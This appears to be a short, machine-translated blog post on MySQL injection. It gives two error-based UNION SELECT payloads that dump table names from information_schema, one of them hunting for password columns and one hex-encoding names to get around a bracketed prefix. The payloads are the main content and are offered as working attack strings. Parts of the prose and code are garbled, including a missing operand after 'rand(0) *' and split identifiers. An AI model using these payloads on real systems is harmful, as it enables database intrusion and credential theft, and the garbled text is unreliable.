MySQL Injection Summary (iii)

Yesterday, when I was finishing something, I saw an article collected a few years ago, and today I write two words.

It's about the "table" prefix that appears when the watch is exploded, and then Hex (), then Unhex () the real table name.

The code is as follows:

' Union+select+1+from+ (Select+count (*), concat (Floor (rand (0) * *), 0x3a, (select+table_name+from+information_ Schema.columns+where+table_schema=database () +and+column_name+like+ '%pass% ' +limit+0,1), 0x3a) A+from+information_ Schema.tables+group+by+a) b#-1.html

' Union+select+1+from+ (Select+count (*), concat (Floor (rand (0) * *), 0x3a, (Select+hex (table_name) +from+information_ Schema.tables+where+table_schema=database () +limit+48,1), 0x3a) a+from+information_schema.tables+group++by+a) b#- 1.html

Original: MySQL injection solves square brackets [table] prefix problem

MySQL Injection Summary (iii)